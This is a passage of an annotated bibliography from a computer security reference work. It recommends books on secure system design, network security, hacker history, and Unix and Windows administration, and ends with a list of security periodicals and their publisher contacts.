Gasser, Morrie. *Building a Secure Computer System*. New York, NY: Van Nostrand Reinhold, 1988. A solid introduction to issues of secure system design. Most of the principles still aren't followed in modern systems (unfortunately).

Gollmann, Dieter. *Computer Security*; Chichester, UK, John Wiley & Sons, 1999. A good survey textbook, widely used in academic settings.

Hunt, A. E., S. Bosworth, and D. B. Hoyt, eds. *Computer Security Handbook, 3rd edition*. New York, NY: Wiley, 1995. A massive and thorough collection of essays on all aspects of computer security.

Pfleeger, Charles P and Shari Lawrence Pfleeger. *Security in Computing*. Englewood Cliffs, NJ: Prentice-Hall, 3rd edition, 2002. Another good introduction to computer security.

Russell, Deborah, and G. T. Gangemi, Sr. *Computer Security Basics*. Sebastopol, CA: O'Reilly & Associates, 1991. An excellent introduction to many areas of computer security and a summary of government security requirements and issues.

Schneier, B. *Secrets and Lies: Digital Security in a Networked World*. New York: John Wiley & Sons, 2000.

Thompson, Ken. "Reflections on Trusting Trust" *Communications of the ACM*, Volume 27, Number 8, August (1984). This is a "must-read" for anyone seeking to understand the limits of computer security and trust.

Viega, John and Gary McGraw. *Building Secure Software*; Indianapolis, IN: Pearson/ Addison-Wesley, 2002. An excellent book about how to code secure software, and the pitfalls of haphazard coding and deployment.

Wood, Charles Cresson, et al. *Computer Security: A Comprehensive Controls Checklist*, New York, NY: John Wiley & Sons, 1987. Contains many comprehensive and detailed checklists for assessing the state of your own computer security and operations. Out of print, but a valuable reference if you can find one used.

Network Technology and Security

Cheswick, Bill, Steve Bellovin, and Aviel Rubin. *Firewalls and Internet Security: Repelling the Wily Hacker, Second Edition*. Reading, MA: Addison-Wesley, 2003. The second edition of the classic book on firewalls. This book will teach you almost everything you need to know about how firewalls work. The first edition text is largely available online for free, as well, at http://www.wilyhacker.com/1e/.

Chapman, D. Brent, and Elizabeth D. Zwicky. *Building Internet Firewalls*. Sebastopol, CA: O'Reilly & Associates, 2nd edition, 2000. A great how-to book that describes in clear detail how to build your own firewall.

Comer, Douglas E. *Internetworking with TCP/IP*. 3rd Edition. Englewood Cliffs, NJ: Prentice Hall, 4th edition, 2000. A complete, readable reference that describes how TCP/IP networking works, including information on protocols, tuning, and applications.

Garfinkel, Simson. *Web Security, Privacy, and Commerce,* 2nd Edition. Cambridge, MA: O'Reilly and Associates, Inc. 2002.

Garman, Jason. *Kerberos – The Definitive Guide*. Cambridge, MA: O'Reilly and Associates, Inc, 2003. Provides full coverage of Kerberos in Windows 2000 and Unix environments.

Hunt, Craig. *TCP/IP Network Administration*. Sebastopol, CA: O'Reilly & Associates, 3rd edition, 2002. This book is an excellent system administrator's overview of TCP/IP networking (with a focus on UNIX systems), and a very useful reference to major UNIX networking services and tools such as BIND and send-mail.

Kaufman, Charles, Radia Perlman, and Mike Speciner. *Network Security: Private Communications in a Public World*. Englewood Cliffs, NJ: Prentice-Hall, 2nd edition, 2002.

Stallings, William. *Cryptography and Network Security: Principles and Practices*. Englewood Cliffs, NJ: Prentice Hall, 2003. A good introductory textbook.

Security Products and Services Information

Computer Security Buyer's Guide. Computer Security Institute, San Francisco, CA. (Order from CSI, 415-905-2626.) Contains a comprehensive list of computer security hardware devices and software systems that are commercially available. The guide is free with membership in the Institute. The URL is at *http://www.gocsi.com*.

Understanding the Computer Security "Culture"

All of these describe views of the future and computer networks that are much discussed (and emulated) by system crackers.

Brunner, John. Shockwave Rider. New York, NY: A Del Ray Book, published by Ballantine, 1975. One of the first descriptions of a computer worm.

Dreyfus, Suelette. *Underground*; Australia, Reed Books, 1997. A book about the exploits of several Australian hackers relatively early on. Some of the story is incorrect, however, as the author failed to contact all parties to verify the facts.

Gibson, William. *Burning Chrome, Neuromancer, Count Zero, Mona Lisa Overdrive, Virtual Light, Idoru, All Tomorrow's Parties*. New York, NY: Bantam Books Cyber-punk books by the science fiction author who coined the term "cyberspace."

Hafner, Katie and John Markoff, *Cyberpunk: Outlaws and Hackers on the Computer Frontier*. New York, NY: Simon and Schuster, 1991. Tells the stories of three hackers—Kevin Mitrick, Pengo, and Robert T. Morris.

Levy, Steven. Hackers: *Heroes of the Computer Revolution*. New York, NY: Dell Books, 1984. One of the original publications describing the "hacker ethic."

Littman, Jonathan, *The Fugitive Game: Online with Kevin Mitnick*. Boston, MA: Little, Brown, 1996. A year prior to his capture in 1995, Jonathan Littman had extensive telephone conversations with Kevin Mitnick and learned what it is like to be a computer hacker on the run. This is the story.

Shimomura, Tsutomu, with John Markoff. *Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw—By the Man Who Did It*. New York, NY: Hyperion, 1995. On Christmas Day, 1994, an attacker broke into Tsutomu Shimomura's computer. A few weeks later, Shimomura was asked to help out with a series of break-ins at two major Internet service providers in the San Fransisco area. Eventually, the trail led to North Carolina, where Shimomura participated in the tracking and capture of Kevin Mitnick. This is the story, written by Shimomura and Markoff. Markoff is the journalist with The New York Times who covered the capture.

Sterling, Bruce. *The Hacker Crackdown: Law and Disorder on the Electronic Frontier*. This book is available in several places on the WWW; http://www-swiss.ai.mit.edu/~bal/ sterling/contents.html is one location; other locations can be found in the COAST hot-list.

Stoll, Cliff. *The Cuckoo's Egg*, Garden City, NY: Doubleday, 1989. An amusing and gripping account of tracing a computer intruder through the networks. The intruder was later found to be working for the KGB and trying to steal sensitive information from U. S. systems.

Varley, John. "Press" Enter. Reprinted in several collections of science fiction, including Blue Champagne, Ace Books, 1986; *Isaac Asimov's Science Fiction Magazine*, 1984; and Tor SF Doubles, October, Tor Books, 1990.

Vinge, Vernor. *True Names and Other Dangers*. New York, NY: Baen, distributed by Simon & Schuster, 1987.

UNIX System Administration

Albitz, Paul and Cricket Liu. *DNS and BIND*. Sebastopol, CA: O'Reilly & Associates, 4th edition, 2001. An excellent reference for setting up DNS nameservers.

Bolsky, Morris I., and David G. Korn. *The New Kornshell Command and Programming Language*. Englewood Cliffs, NJ: Prentice-Hall, 2nd edition, 1995. This is a complete tutorial and reference to the ksh—the only shell some of us use when given the choice, and the inspiration for the POSIX shell standard used by bash and others.

Kernighan, Brian, Dennis Ritchie and Rob Pike. *The UNIX Programming Environment*. Englewood Cliffs, NJ: Prentice-Hall, 1984. A nice guide to the UNIX philosophy and how to build shell scripts and command environments under UNIX.

Nemeth, Evi, Garth Snyder, Scott Seebass, and Trent R. Hein. *UNIX System Administration Handbook. 3rd Edition*. Englewood Cliffs, NJ: Prentice-Hall, 2000. An excellent reference on the various ins and outs of running a UNIX system. This book includes information on system configuration, adding and deleting users, running accounting, performing backups, configuring networks, running sendmail, and much more. Highly recommended.

Welsh, Matt, Kaufman, Lar, Dalheimer, Matthias K., and Dawson, Terry. *Running Linux (4th edition)*. Sebastopol, CA: O'Reilly & Associates, 2002.

Wall, Larry, Christiansen, Tom, and Orwant, Jon. *Programming perl (3rd edition)*, Sebastopol, CA: O'Reilly & Associates, 2000. The definitive reference to the Perl scripting language. A must for anyone who does much shell, awk, or sed programming or would like to quickly write some applications in UNIX.

Windows System Administration

O'Reilly and Associates has a series of helpful books on Windows system administration, including *Windows NT TCP/IP Network Administration* (Craig Hunt and Robert Bruce Thompson, 1998), *Managing the Windows 2000 Registry* (Robichaux, 2000), *DHCP for Windows 2000* (Neall Alcott, 2001), *DNS on Windows 2000, 2nd Edition* (Matt Larson and Cricket Liu, 2001), *Windows 2000 Administration in a Nutshell* (Mitch Tulloch, 2001), and *Windows Server 2003 in a Nutshell* (Mitch Tulloch, 2003).

Security Periodicals

Computer Audit Update
Computer Fraud & Security Update
Computer Law & Security Report
Computers & Security

Elsevier Advanced Technology
Crown House, Linton Rd.
Barking, Essex I611 8JU
England
Voice: +44-81-5945942
Fax: +44-81-5945942
Telex: 896950 APPSCI G

North American Distributor:
P.O. Box 882
New York, NY 10159
Voice: +1-212-989-5800

http://www.elsevier.nl/catalogue/

Computer Security Alert
Computer Security Journal
Computer Security Buyers Guide

Computer Security Institute
600 Harrison Street
San Francisco, CA 94107
Voice: +1-415-905-2626

http://www.gocsi.com

Disaster Recovery Journal

PO Box 510110
St. Louis, MO 63151
+1 314-894-0276

http://www.drj.com

InfoSecurity News

West Coast Publishing, Inc.
161 Worcester Road, Suite 201
Framingham, MA 01701

http://www.scmagazine.com

Information Security

85 Astor Ave, Suite 2
Norwood, MA 02062

http://www.infosecuritymag.com